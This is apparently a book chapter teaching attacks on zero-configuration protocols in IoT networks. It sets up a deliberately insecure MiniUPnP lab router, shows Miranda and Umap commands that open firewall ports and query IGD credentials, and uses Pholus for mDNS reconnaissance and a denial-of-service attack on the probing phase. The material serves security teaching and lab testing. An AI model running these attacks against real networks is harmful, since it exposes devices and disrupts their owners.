6
Exploiting Zero-Configuration Networking

Zero-configuration networking is a set of technologies that automate the processes of assigning network addresses, distributing and resolving hostnames, and discovering network services without the need for manual configuration or servers. These technologies are meant to operate in the local network and usually assume that the participants in an environment have agreed to participate in the service, a fact that allows attackers on the network to easily exploit them.

IoT systems regularly use zero-configuration protocols to give the devices access to the network without requiring the user to intervene. In this chapter, we explore common vulnerabilities found in three sets of zero-configuration protocols—Universal Plug and Play (UPnP), multicast Domain Name System (mDNS)/Domain Name System Service Discovery (DNS-SD), and Web Services Dynamic Discovery (WS-Discovery)—and discuss how to conduct attacks against IoT systems that rely on them. We’ll bypass a firewall, gain access to documents by pretending to be a network printer, fake traffic to resemble an IP camera, and more.

Exploiting UPnP

The UPnP set of networking protocols automates the process of adding and configuring devices and systems on the network. A device that supports UPnP can dynamically join a network, advertise its name and capabilities, and discover other devices and their capabilities. People use UPnP applications to easily identify network printers, automate port mappings on home routers, and manage video streaming services, for example.

But this automation comes at a price, as you’ll learn in this section. We’ll first provide an overview of UPnP and then set up a test UPnP server and exploit it to open holes in a firewall. We’ll also explain how other attacks against UPnP work and how to combine insecure UPnP implementations with other vulnerabilities to perform high-impact attacks.

The UPnP Stack

The UPnP stack consists of six layers: addressing, discovery, description, control, eventing, and presentation.

In the addressing layer, UPnP-enabled systems try to get an IP address through DHCP. If that isn’t possible, they’ll self-assign an address from the 169.254.0.0/16 range (RFC 3927), a process known as AutoIP.

Next is the discovery layer, in which the system searches for other devices on the network using the Simple Service Discovery Protocol (SSDP). The two ways to discover devices are actively and passively. When using the active method, UPnP-capable devices send a discovery message (called an M-SEARCH request) to the multicast address 239.255.255.250 on UDP port 1900. We call this request HTTPU (HTTP over UDP) because it contains a header similar to the HTTP header. The M-SEARCH request looks like this:

M-SEARCH * HTTP/1.1 
ST: ssdp:all 
MX: 5 
MAN: ssdp:discover 
HOST: 239.255.255.250:1900

UPnP systems that listen for this request are expected to reply with a UDP unicast message that announces the HTTP location of the description XML file, which lists the device’s supported services. (In Chapter 4, we demonstrated connecting to the custom network service of an IP webcam, which returned information similar to what would typically be in this kind of description XML file, suggesting the device might be UPnP capable.)

When using the passive method for discovering devices, UPnP-capable devices periodically announce their services on the network by sending a NOTIFY message to the multicast address 239.255.255.250 on UDP port 1900. This message, which follows, looks like the one sent as a response to the active discovery:

NOTIFY * HTTP/1.1

HOST: 239.255.255.250:1900

CACHE-CONTROL: max-age=60

LOCATION: http://192.168.10.254:5000/rootDesc.xml

SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1

NT: urn:schemas-upnp-org:service:WANIPConnection:2

Any interested participant on the network can listen to these discovery messages and send a description query message. In the description layer, UPnP participants learn more about the device, its capabilities, and how to interact with it. The description of every UPnP profile is referenced in either the LOCATION field value of the response message received during active discovery or the NOTIFY message received during passive discovery. The LOCATION field contains a URL that points to a description XML file consisting of the URLs used during the control and eventing phases (described next).

The control layer is probably the most important one; it allows clients to send commands to the UPnP device using the URLs from the description file. They can do this using the Simple Object Access Protocol (SOAP), a messaging protocol that uses XML over HTTP. Devices send SOAP requests to the controlURL endpoint, described in the <service> tag inside the description file. A <service> tag looks like this:

<service>
  <serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<SCPDURL>/WANIPCn.xml</SCPDURL>
1 <controlURL>/ctl/IPConn</controlURL>
2 <eventSubURL>/evt/IPConn</eventSubURL>
</service>

You can see the controlURL1. The eventing layer notifies clients that have subscribed to a specific eventURL 2, also described in the service tag inside the description XML file. These event URLs are associated with specific state variables (also included in the description XML file) that model the state of the service at runtime. We won’t use state variables in this section.

The presentation layer exposes an HTML-based user interface for controlling the device and viewing its status—for example, the web interface of a UPnP-capable camera or router.

Common UPnP Vulnerabilities

UPnP has a long history of buggy implementations and flaws. First of all, because UPnP was designed to be used inside LANs, there is no authentication on the protocol, which means that anyone on the network can abuse it.

UPnP stacks are known for poorly validating input, which leads to flaws such as the unvalidated NewInternalClient bug. This bug allows you to use any kind of IP address, whether internal or external, for the NewInternalClient field in the device’s port-forwarding rules. This means that an attacker could turn a vulnerable router into a proxy. For example, imagine you add a port-forwarding rule that sets NewInternalClient to the IP address of sock-raw.org, NewInternalPort to TCP port 80, and NewExternalPort to 6666. Then, by probing the router’s external IP on port 6666, you’d make the router probe the web server on sock-raw.org without your IP address showing in the target’s logs. We’ll walk through a variation of this attack in the next section.

On the same note, UPnP stacks sometimes contain memory corruption bugs, which can lead to remote denial of service attacks in the best-case scenario and remote code execution in the worst-case one. For instance, attackers have discovered devices that use SQL queries to update their in-memory rules while externally accepting new rules through UPnP, making them susceptible to SQL injection attacks. Also, because UPnP relies on XML, weakly configured XML-parsing engines can fall victim to External Entity (XXE) attacks. In these attacks, the engine processes potentially malicious input containing references to an external entity, disclosing sensitive information or causing other impacts to the system. To make matters worse, the specification discourages, but doesn’t outright ban, UPnP on internet-facing WAN interfaces. Even if some vendors follow the recommendation, bugs in the implementation often allow WAN requests to go through.

Last but not least, devices often don’t log UPnP requests, which means the user has no way of knowing if an attacker is actively abusing it. Even if the device supports UPnP logging, the log is typically stored client side on the device and doesn’t have configurable options through its user interface.

Punching Holes Through Firewalls

Let’s perform what is perhaps the most common attack against UPnP: punching unsolicited holes through firewalls. In other words, this attack will add or modify a rule in the firewall configuration that exposes an otherwise protected network service. By doing so, we’ll walk through the different UPnP layers and gain a better understanding of how the protocol works.

How the Attack Works

This firewall attack relies on the inherent permissiveness of the Internet Gateway Device (IGD) protocol implemented via UPnP. IGD maps ports in network address translation (NAT) setups.

Almost every home router uses NAT, a system that allows multiple devices to share the same external IP address by remapping the IP address to a private network address. The external IP is typically the public address your internet service provider assigns to your modem or router. The private IP addresses can be any of the standard RFC 1918 range: 10.0.0.0–10.255.255.255 (class A), 172.16.0.0–172.31.255.255 (class B), or 192.168.0.0–192.168.255.255 (class C).

Although NAT is convenient for home solutions and conserves IPv4 address space, it does have some flexibility problems. For example, what happens when applications, such as BitTorrent clients, need other systems to connect to them on a specific public port but are behind a NAT device? Unless that port is exposed on the device’s internet-facing network, no peer can connect. One solution is to have the user manually configure port forwarding on their router. But that would be inconvenient, especially if the port had to change for every connection. Also, if the port was statically configured in the router’s port-forwarding settings, any other application that needed to use that specific port couldn’t. The reason is that external port mapping would already be associated with a specific internal port and IP address and, therefore, would have to be reconfigured for every connection.

This is where IGD comes to the rescue. IGD allows an application to dynamically add a temporary port mapping on the router for a certain time period. It solves both problems: users don’t need to manually configure port forwarding, and it allows the port to change for every connection.

But attackers can abuse IGD in insecurely configured UPnP setups. Normally, systems behind the NAT device should be able to perform port forwarding on their own ports only. The problem is that many IoT devices, even nowadays, allow anyone on the network to add port mappings for other systems. This allows attackers on the network to do malicious things, such as exposing the administration interface of a router to the internet.

Setting Up a Test UPnP Server

We’ll start by setting up MiniUPnP, a lightweight implementation of a UPnP IGD server, on an OpenWrt image so we have a UPnP server to attack. OpenWrt is an open source, Linux-based operating system targeting embedded devices and is primarily used for network routers. You can skip this setup section if you download the vulnerable OpenWrt VM from https://nostarch.com/practical-iot-hacking/.

Walking through the OpenWrt setup is beyond the scope of this book, but you can find a guide for its setup at https://openwrt.org/docs/guide-user/virtualization/vmware. Convert a snapshot of OpenWrt/18.06 to a VMware-compatible image and run it using the VMware workstation or player on a local lab network. You can find the x86 snapshot we used for OpenWrt version 18.06 at https://downloads.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-combined-ext4.img.gz.

Next, set up your network configuration, which is particularly important to clearly demonstrate the attack. We configured two network adapters in the virtual machine’s settings:

  • One that is bridged on the local network and corresponds to eth0 (the LAN interface). In our case, we statically configured it to have the IP address 192.168.10.254 corresponding to our local network lab. We configured the IP address by manually editing the /etc/network/config file of our OpenWrt VM. Adjust this to reflect your local network configuration.
  • One that is configured as VMware’s NAT interface and corresponds to eth1 (the WAN interface). It was automatically assigned the IP address 192.168.92.148 through DHCP. This one emulates the external, or PPP, interface of the router that would be connected to the internet service provider and have a public IP address.

If you haven’t worked with VMware before, the guide at https://www.vmware.com/support/ws45/doc/network_configure_ws.html can help you set up additional network interfaces for your virtual machine. Although it mentions version 4.5, the instructions are applicable for every modern VMware implementation. If you’re using VMware Fusion on macOS, the guide at https://docs.vmware.com/en/VMware-Fusion/12/com.vmware.fusion.using.doc/GUID-E498672E-19DD-40DF-92D3-FC0078947958.html can help you. In either case, add a second network adapter and change its settings to NAT (called “Share with My Mac” on Fusion), and then modify the first network adapter to be Bridged (called “Bridged Networking” on Fusion).

You might want to configure the VMware settings so the bridged mode applies only to the adapter that is actually connected to your local network. Because you have two adapters, VMware’s auto-bridge feature might try to bridge with the one that isn’t connected. It’s typical to have one Ethernet and one Wi-Fi adapter, so make sure you check which one is connected to which network.

Now the network interfaces part of the OpenWrt VM’s /etc/config/network file should look something like this:

config interface 'lan'
        option ifname 'eth0'
        option proto 'static'
        option ipaddr '192.168.10.254'
        option netmask '255.255.255.0'
        option ip6assign '60'
        option gateway '192.168.10.1'

config interface 'wan'
        option ifname 'eth1'
        option proto 'dhcp'

config interface 'wan6'
        option ifname 'eth1'
        option proto 'dhcpv6'

Make sure your OpenWrt has internet connectivity, and then enter the following command in your shell to install the MiniUPnP server and luci-app-upnp. The luci-app-upnp package lets you configure and display UPnP settings through Luci, the default web interface for OpenWrt:

# opkg update && opkg install miniupnpd luci-app-upnp

We then need to configure MiniUPnPd. Enter the following command to edit the file with Vim (or use the text editor of your choice):

# vim /etc/init.d/miniupnpd

Scroll down to where the file mentions config_load "upnpd" for the second time (in MiniUPnP version 2.1-1, this is at line 134.) Change the settings as follows:

config_load "upnpd"
upnpd_write_bool enable_natpmp 1
upnpd_write_bool enable_upnp 1
upnpd_write_bool secure_mode 0

The most important change is to disable secure_mode. Disabling this setting allows clients to redirect incoming ports to IP addresses other than themselves. This setting is enabled by default, which means the server would forbid an attacker from adding port mappings that would redirect to any other IP address.

The config_load "upnpd" command also loads additional settings from the /etc/config/upnpd file, which you should change to look as follows:

config upnpd 'config'
        option download '1024'
        option upload '512'
        option internal_iface 'lan'
        option external_iface 'wan' 1
        option port '5000'
        option upnp_lease_file '/var/run/miniupnpd.leases'
        option enabled '1' 2
        option uuid '125c09ed-65b0-425f-a263-d96199238a10'
        option secure_mode '0'
        option log_output '1'

config perm_rule
        option action 'allow'
        option ext_ports '1024-65535'
        option int_addr '0.0.0.0/0'
        option int_ports '0-65535'3
        option comment 'Allow all ports'

First, you have to manually add the external interface option 1; otherwise, the server won’t allow port redirection to the WAN interface. Second, enable the init script to launch MiniUPnP 2. Third, allow redirections to all internal ports 3, starting from 0. By default, MiniUPnPd allows redirections to certain ports only. We deleted all other perm_rules. If you copy the /etc/config/upnpd file as shown here, you should be good to go.

After completing the changes, restart the MiniUPnP daemon using the following command:

# /etc/init.d/miniupnpd restart

You’ll also have to restart the OpenWrt firewall after restarting the server. The firewall is part of the Linux operating system, and OpenWrt comes with it enabled by default. You can easily do so by browsing to the web interface at http://192.168.10.254/cgi-bin/luci/admin/status/iptables/ and clicking Restart Firewall, or by entering the following command in a terminal:

# /etc/init.d/firewall restart

Current versions of OpenWrt are more secure, and we’re deliberately making this server insecure for the purposes of this exercise. Nevertheless, countless available IoT products are configured like this by default.

Punching Holes in the Firewall

With our test environment set up, let’s try the firewall hole-punching attack by abusing IGD. We’ll use IGD’s WANIPConnection subprofile, which supports the AddPortMapping and DeletePortMapping actions for adding and removing port mappings, correspondingly. We’ll use the AddPortMapping command with the UPnP testing tool Miranda, which is preinstalled on Kali Linux. If you don't have Miranda preinstalled, you can always get it from https://github.com/0x90/miranda-upnp/—note that you'll need Python 2 to run it. Listing 6-1 uses Miranda to punch a hole through the firewall on the vulnerable OpenWrt router.

# miranda
upnp> msearch
upnp> host list 
upnp> host get 0
upnp> host details 0 
upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping
       Set NewPortMappingDescription value to: test
       Set NewLeaseDuration value to: 0
       Set NewInternalClient value to: 192.168.10.254
       Set NewEnabled value to: 1
       Set NewExternalPort value to: 5555
       Set NewRemoteHost value to: 
       Set NewProtocol value to: TCP
       Set NewInternalPort value to: 80

Listing 6-1: Punching a hole in the OpenWrt router with Miranda

The msearch command sends an M-SEARCH * packet to the multicast address 239.255.255.250 on UDP port 1900, completing the active discovery stage, as described in “The UPnP Stack” on page 119. You can press CTRL-C at any time to stop waiting for more replies, and you should do so when your target responds.

The host 192.168.10.254 should now appear on the host list, a list of targets the tool keeps track of internally, along with an associated index. Pass the index as an argument to the host get command to fetch the rootDesc.xml description file. Once you do so, host details should display all supported IGD profiles and subprofiles. In this case, WANIPConnection under WANConnectionDevice should show up for our target.

Finally, we send the AddPortMapping command to the host to redirect the external port 5555 (randomly chosen) to the web server’s internal port, exposing the web administration interface to the internet. When we enter the command, we have to then specify its arguments. The NewPortMappingDescription is any string value, and it’s normally displayed in the router’s UPnP settings for the mapping. The NewLeaseDuration sets how long the port mapping will be active. The value 0, shown here, means unlimited time. The NewEnabled argument can be 0 (meaning inactive) or 1 (meaning active). The NewInternalClient refers to the IP address of the internal host that the mapping is associated with. The NewRemoteHost is usually empty. Otherwise, it would restrict the port mapping to only that particular external host. The NewProtocol can be TCP or UDP. The NewInternalValue is the port of the NewInternalClient host that the traffic coming on the NewExternalPort will be forwarded to.

We should now be able to see the new port mapping by visiting the web interface for the OpenWrt router at 192.168.10.254/cgi/bin/luci/admin/services/upnp (Figure 6-1).

f06001

Figure 6-1: We should see the new port mapping in the Luci interface.

To test whether our attack was successful, let’s visit our router’s external IP address 192.168.92.148 on the forwarded port 5555. Remember that the private web interface shouldn’t normally be accessible through the public-facing interface. Figure 6-2 shows the result.

f06002

Figure 6-2: The accessible web interface

After we sent the AddPortMapping command, the private web interface became accessible through the external interface on port 5555.

Abusing UPnP Through WAN interfaces

Next, let’s abuse UPnP remotely through the WAN interface. This tactic could allow an external attacker to do some damage, such as forward ports from hosts inside the LAN or execute other useful IGD commands, like the self-explanatory GetPassword or GetUserName. You can perform this attack in buggy or insecurely configured UPnP implementations.

To perform this attack, we’ll use Umap, a tool written specifically for this purpose.

How the Attack Works

As a security precaution, most devices don’t normally accept SSDP packets through the WAN interface, but some of them can still accept IGD commands through open SOAP control points. This means that an attacker can interact with them directly from the internet.

For that reason, Umap skips the discovery phase of the UPnP stack (the phase in which a device uses SSDP to discover other devices on the network) and tries to directly scan for the XML description files. If it finds one, it then moves on to UPnP’s control step and tries to interact with the device by sending it SOAP requests directed at the URL in the description file.

Figure 6-3 shows the flow diagram for Umap’s scan of internal networks.

f06003

Figure 6-3: The Umap flow diagram for scanning hosts

Umap first tries to scan for IGD control points by testing a variety of known XML file locations (such as /rootDesc.xml or /upnp/IGD.xml). After it finds one successfully, Umap tries to guess the internal LAN IP block. Remember that you’re scanning the external (internet-facing) IP address, so the IP addresses behind the NAT device will be different.

Next, Umap sends an IGD port-mapping command for each common port, forwarding that port to the WAN. Then it tries to connect to that port. If the port is closed, it sends an IGD command to delete the port mapping. Otherwise, it reports that the port is open and leaves the port mapping as-is. By default, it scans the following common ports (hardcoded in the commonPorts variable in umap.py):

commonPorts = ['21','22','23','80','137','138','139','443','445','3389', '8080']

Of course, you can edit the commonPorts variable and try to forward other ports. You can find a good reference for the most commonly used TCP ports by running the following Nmap command:

# nmap --top-ports 100 -v -oG –
Nmap 7.70 scan initiated Mon Jul  8 00:36:12 2019 as: nmap --top-ports 100 -v -oG -
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)

Getting and Using Umap

Umap was first released at Defcon 19 by Daniel Garcia; you can find the latest version of it on the tool author’s website at https://toor.do/umap-0.8.tar.gz. After extracting the compressed tarball Umap, you might also need to install SOAPpy and iplib:

# apt-get install pip
# pip install SOAPpy
# pip install iplib

Umap is written in Python 2, which is no longer officially maintained; so if your Linux distribution doesn’t have the Python 2 pip package manager available, you’ll need to download it manually from https://pypi.org/project/pip/#files. Download the latest version of the source and run it like this:

# tar -xzf pip-20.0.2.tar.gz
# cd pip-20.0.2
# python2.7 setup install

Run Umap with the following command (replacing the IP address with your target’s external IP address):

# ./umap.py -c -i 74.207.225.18

Once you run it, Umap will go through the flow diagram shown in Figure 6-3. Even if the device doesn’t advertise an IGD command (meaning that the command might not be necessarily listed as controlURL in the description XML file), some systems still accept the commands because of buggy UPnP implementations. So, you should always try all of them in a proper security test. contains a list of IGD commands to test.

Table 6-1: A List of Possible IGD Commands

SetConnectionTypeSets up a specific connection type.
GetConnectionTypeInfoRetrieves the values of the current connection type and allowable connection types.
ConfigureConnectionSend this command to configure a PPP connection on the WAN device and change ConnectionStatus to Disconnected from Unconfigured.
RequestConnectionInitiates a connection on an instance of a connection service that has a configuration already defined.
RequestTerminationSend this command to any connection instance in Connected, Connecting, or Authenticating state to change ConnectionStatus to Disconnected.
ForceTerminationSend this command to any connection instance in Connected, Connecting, Authenticating, PendingDisconnect, or Disconnecting state to change ConnectionStatus to Disconnected.
SetAutoDisconnectTimeSets the time (in seconds) after which an active connection is automatically disconnected.
SetIdleDisconnectTimeSpecifies the idle time (in seconds) after which a connection can be disconnected.
SetWarnDisconnectDelaySpecifies the number of seconds of warning to each (potentially) active user of a connection before a connection is terminated.
GetStatusInfoRetrieves the values of state variables pertaining to connection status.
GetLinkLayerMaxBitRatesRetrieves the maximum upstream and downstream bit rates for the connection.
GetPPPEncryptionProtocolRetrieves the link layer (PPP) encryption protocol.
GetPPPCompressionProtocolRetrieves the link layer (PPP) compression protocol.
GetPPPAuthenticationProtocolRetrieves the link layer (PPP) authentication protocol.
GetUserNameRetrieves the username used for the activation of a connection.
GetPasswordRetrieves the password used for the activation of a connection.
GetAutoDisconnectTimeRetrieves the time (in seconds) after which an active connection is automatically disconnected.
GetIdleDisconnectTimeRetrieves the idle time (in seconds) after which a connection can be disconnected.
GetWarnDisconnectDelayRetrieves the number of seconds of warning to each (potentially) active user of a connection before a connection is terminated.
GetNATRSIPStatusRetrieves the current state of NAT and Realm-Specific IP (RSIP) on the gateway for this connection.
GetGenericPortMappingEntryRetrieves NAT port mappings one entry at a time.
GetSpecificPortMappingEntryReports the Static Port Mapping specified by the unique tuple of RemoteHost, ExternalPort, and PortMappingProtocol.
AddPortMappingCreates a new port mapping or overwrites an existing mapping with the same internal client. If the ExternalPort and PortMappingProtocol pair is already mapped to another internal client, an error is returned.
DeletePortMappingDeletes a previously instantiated port mapping. As each entry is deleted, the array is compacted, and the evented variable PortMappingNumberOfEntries is decremented.
GetExternalIPAddress Retrieves the value of the external IP address on this connection instance.

Note that the latest public version (0.8) of Umap doesn’t automatically test these commands. You can find more detailed information about them at the official specification at http://upnp.org/specs/gw/UPnP-gw-WANPPPConnection-v1-Service.pdf/.

After Umap identifies an internet-exposed IGD, you can use Miranda to manually test these commands. Depending on the command, you should get various replies. For example, going back to our vulnerable OpenWrt router and running Miranda against it, we can see the output of some of these commands:

upnp> host send 0 WANConnectionDevice  WANIPv6FirewallControl  GetFirewallStatus
InboundPinholeAllowed : 1
FirewallEnabled : 1
upnp> host send 0 WANConnectionDevice WANIPConnection GetStatusInfo
NewUptime : 10456
NewLastConnectionError : ERROR_NONE
NewConnectionStatus : Connected

But the tool might not always indicate that the command succeeded, so remember to have a packet analyzer like Wireshark active at all times to understand what happens behind the scenes.

Remember that running host details will give you a long list of all the advertised commands, but you should still try to test them all. The following output shows only the first portion of the list for the OpenWrt system we configured earlier:

upnp> host details 0
Host name:          [fd37:84e0:6d4f::1]:5000
UPNP XML File:      http://[fd37:84e0:6d4f::1]:5000/rootDesc.xml

Device information: 
    Device Name: InternetGatewayDevice
        Service Name: Device Protection
            controlURL: /ctl/DP
            eventSUbURL: /evt/DP
            serviceId: urn:upnp-org:serviceId:DeviceProtection1
            SCPDURL: /DP.xml
            fullName: urn:schemas-upnp-org:service:DeviceProtection:1
            ServiceActions:
                GetSupportedProtocols
                    ProtocolList
                        SupportedProtocols: 
                            dataType: string
                            sendEvents: N/A
                            allowedVallueList: []
                         direction: out
                SendSetupMessage       
                …

This output contains only a small portion of the long list of advertised UPnP commands.

Other UPnP Attacks

You could try other attacks against UPnP as well. For example, you could exploit a pre-authentication XSS vulnerability on a router’s web interface using UPnP’s port-forwarding capability. This kind of attack would work remotely, even if the router blocks WAN requests. To do so, you would first socially engineer the user to visit a website that hosts the malicious JavaScript payload with the XSS. The XSS would allow the vulnerable router to enter the same LAN as the user, so you could send it commands through its UPnP service. These commands, in the form of specially crafted XML requests inside an XMLHttpRequest object, can force the router to forward ports from inside the LAN to the internet.

Exploiting mDNS and DNS-SD

Multicast DNS (mDNS) is a zero-configuration protocol that lets you perform DNS-like operations on the local network in the absence of a conventional, unicast DNS server. The protocol uses the same API, packet formats, and operating semantics as DNS, allowing you to resolve domain names on the local network. DNS Service Discovery (DNS-SD) is a protocol that allows clients to discover a list of named instances of services (such as test._ipps._tcp.local, or linux._ssh._tcp.local) in a domain using standard DNS queries. DNS-SD is most often used in conjunction with mDNS but isn’t dependent on it. They’re both used by many IoT devices, such as network printers, Apple TVs, Google Chromecast, Network-Attached Storage (NAS) devices, and cameras. Most modern operating systems support them.

Both protocols operate within the same broadcast domain, which means that devices share the same data link layer, also called the local link or layer 2 in the computer networking Open Systems Interconnection (OSI) model. This means messages won’t pass through routers, which operate at layer 3. The devices must be connected to the same Ethernet repeaters or network switches to listen and reply to these multicast messages.

Local-link protocols can introduce vulnerabilities for two reasons. First, even though you’ll normally encounter these protocols in the local link, the local network isn’t necessarily a trusted one with cooperating participants. Complex network environments often lack proper segmentation, allowing attackers to pivot from one part of the network to the other (for example, by compromising the routers). In addition, corporate environments often employ Bring Your Own Device (BYOD) policies that allow staff to use their personal devices in these networks. This situation gets even worse in public networks, such as those in airports or cafes. Second, insecure implementations of these services can allow attackers to exploit them remotely, completely bypassing the local-link containment.

In this section, we’ll examine how to abuse these two protocols in IoT ecosystems. You can perform reconnaissance, man-in-the-middle attacks, denial of service attacks, unicast DNS cache poisoning, and more!

How mDNS Works

Devices use mDNS when the local network lacks a conventional unicast DNS server. To resolve a domain name for a local address using mDNS, the device sends a DNS query for a domain name ending with .local to the multicast address 224.0.0.251 (for IPv4) or FF02::FB (for IPv6). You can also use mDNS to resolve global domain names (non .local ones), but mDNS implementations are supposed to disable this behavior by default. mDNS requests and responses use UDP and port 5353 as both the source and destination port.

Whenever a change in the connectivity of an mDNS responder occurs, it must perform two activities: Probing and Announcing. During Probing, which happens first, the host queries (using the query type "ANY", which corresponds to the value 255 in the QTYPE field in the mDNS packet) the local network to check whether the records it wants to announce are already in use. If they aren’t in use, the host then Announces its newly registered records (contained in the packet’s Answer section) by sending unsolicited mDNS responses to the network.

The mDNS replies contain several important flags, including a Time-to-Live (TTL) value that signifies how many seconds the record is valid. Sending a reply with TTL=0 means that the corresponding record should be cleared. Another important flag is the QU bit, which denotes whether or not the query is a unicast query. If the QU bit isn’t set, the packet is a multicast query (QM). Because it’s possible to receive unicast queries outside of the local link, secure mDNS implementations should always check that the source address in the packet matches the local subnet address range.

How DNS-SD Works

DNS-SD allows clients to discover available services on the network. To use it, clients send standard DNS queries for pointer records (PTR), which map the type of service to a list of names of specific instances of that type of service.

To request a PTR record, clients use the name form "<Service>.<Domain>". The <Service> part is a pair of DNS labels: an underscore character, followed by the service name (for example, _ipps, _printer, or _ipp) and either _tcp or _udp. The <Domain> portion is ".local". Responders then return the PTR records that point to the accompanying service (SRV) and text (TXT) records. An mDNS PTR record contains the name of the service, which is the same as the name of the SRV record without the instance name: in other words, it points to the SRV record. Here is an example of a PTR record:

_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local

The part of the PTR record to the left of the colon is its name, and the part on the right is the SRV record to which the PTR record points. The SRV record lists the target host and port where the service instance can be reached. For example, Figure 6-4 shows a "test._ipps._tcp.local" SRV record in Wireshark.

f06004

Figure 6-4: An example SRV record for the service "test._ipps._tcp.local". The Target and Port fields contain the hostname and listening port for the service.

SRV names have the format "<Instance>.<Service>.<Domain>". The label <Instance> includes a user-friendly name for the service (test in this case). The <Service> label identifies what the service does and what application protocol it uses to do it. It’s composed of a set of DNS labels: an underscore character, followed by the service name (for example _ipps, _ipp, _http), followed by the transport protocol (_tcp, _udp, _sctp, and so on). The <Domain> portion specifies the DNS subdomain where these names are registered. For mDNS, it’s .local, but it can be anything when you’re using unicast DNS. The SRV record also contains Target and Port sections containing the hostname and port where the service can be found (Figure 6-4).

The TXT record, which has the same name as the SRV record, provides additional information about this instance in a structured form, using key/value pairs. The TXT record contains the information needed when the IP address and port number (contained in the SRV record) for a service aren’t sufficient to identify it. For example, in the case of the old Unix LPR protocol, the TXT record specifies the queue name.

Conducting Reconnaissance with mDNS and DNS-SD

You can learn a lot about the local network by simply sending mDNS requests and capturing multicast mDNS traffic. For example, you could discover available services, query specific instances of a service, enumerate domains, and identify a host. For host identification specifically, the _workstation special service must be enabled on the system you’re trying to identify.

We’ll perform reconnaissance using a tool called Pholus by Antonios Atlasis. Download it from https://github.com/aatlasis/Pholus/. Note that Pholus is written in Python 2, which is no longer officially supported. You might have to manually download Python2 pip, like we did with the Umap installation in “Getting and Using Umap” on page 128. Then you’ll need to install Scapy using the Python2 version of pip:

# pip install scapy

Pholus will send mDNS requests (-rq) on the local network and capture multicast mDNS traffic (for -stimeout 10 seconds) to identify a lot of interesting information:

root@kali:~/zeroconf/mdns/Pholus# ./pholus.py eth0 -rq -stimeout 10
source MAC address: 00:0c:29:32:7c:14 source IPv4 Address: 192.168.10.10 source IPv6 address: fdd6:f51d:5ca8:0:20c:29ff:fe32:7c14
Sniffer filter is: not ether src 00:0c:29:32:7c:14 and udp and port 5353
I will sniff for 10 seconds, unless interrupted by Ctrl-C
------------------------------------------------------------------------
Sending mdns requests
30:9c:23:b6:40:15 192.168.10.20 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_nvstream_dbd._tcp.local."
9c:8e:cd:10:29:87 192.168.10.245 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_http._tcp.local."
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.d.6.0.e.4.8.7.3.d.f.ip6.arpa. * (ANY) QM Class:IN
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: OpenWrt-1757.local. * (ANY) QM Class:IN
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. HINFO Class:IN "X86_64LINUX"
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. AAAA Class:IN "fd37:84e0:6d4f::1"
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.d.6.0.e.4.8.7.3.d.f.ip6.arpa. PTR Class:IN "OpenWrt-1757.local."

Figure 6-5 shows the Wireshark dump from the Pholus query. Notice that the replies are sent back to the multicast address on UDP port 5353. Because anyone can receive the multicast messages, an attacker can easily send the mDNS query from a spoofed IP address and still hear the replies on the local network.

Learning more about what services are exposed on the network is one of the first steps in any security test. Using this approach, you can find the services with potential vulnerabilities and then exploit them.

Abusing the mDNS Probing Phase

In this section, we’ll exploit the mDNS Probing phase. In this phase, which occurs whenever an mDNS responder starts up or changes its connectivity, the responder asks the local network if there are any resource records with the same name as the one it’s planning to announce. To do this, it sends a query of type "ANY" (255), as shown in Figure 6-6.

f06005

Figure 6-5: Pholus sending mDNS requests and receiving replies on the multicast address

If the answer contains the record in question, the probing host should choose a new name. If 15 conflicts take place within 10 seconds, the host must then wait at least five seconds before any additional attempt. Additionally, if one minute passes during which the host can’t find an unused name, it reports an error to the user.

f06006

Figure 6-6: An example of an mDNS "ANY" query for "test._ipps._tcp.local"

The Probing phase lends itself to the following attack: an adversary can monitor mDNS traffic for a probing host and then continuously send responses containing the record in question, constantly forcing the host to change its name until the host quits. This forces a configuration change (for example, that the probing host has to select a new name for the service it provides) and, potentially, a denial of service attack, if the host is unable to access the resource it’s looking for.

For a quick demonstration of this attack, use Pholus with the argument -afre:

# python pholus.py eth0 -afre -stimeout 1000

Replace the eth0 argument with your preferred network interface. The -afre argument makes Pholus send fake mDNS replies for -stimeout seconds.

This output shows Pholus blocking a new Ubuntu host on the network:

00:0c:29:f4:74:2a 192.168.10.219 QUERY Question: ubuntu-133.local. * (ANY) QM Class:IN
00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: ubuntu-133.local. AAAA Class:IN "fdd6:f51d:5ca8:0:c81e:79a4:8584:8a56"
00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa. PTR Class:IN "ubuntu-133.local."
Query Name =  6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa  Type= 255
